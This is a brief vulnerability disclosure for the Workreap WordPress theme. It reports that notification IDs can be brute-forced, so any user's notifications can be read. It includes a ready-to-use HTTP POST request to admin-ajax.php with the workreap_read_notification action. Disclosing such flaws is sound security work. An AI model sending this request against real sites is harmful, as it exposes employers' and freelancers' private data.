The theme has a vulnerability with the notifications feature as it’s possible to read any user’s notification (employer or freelancer) as the notification ID is brute-forceable.
POST /testt/wp-admin/admin-ajax.php HTTP/2
Host: host
Cookie:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 61
action=workreap_read_notification&id=6233&security=<nonce>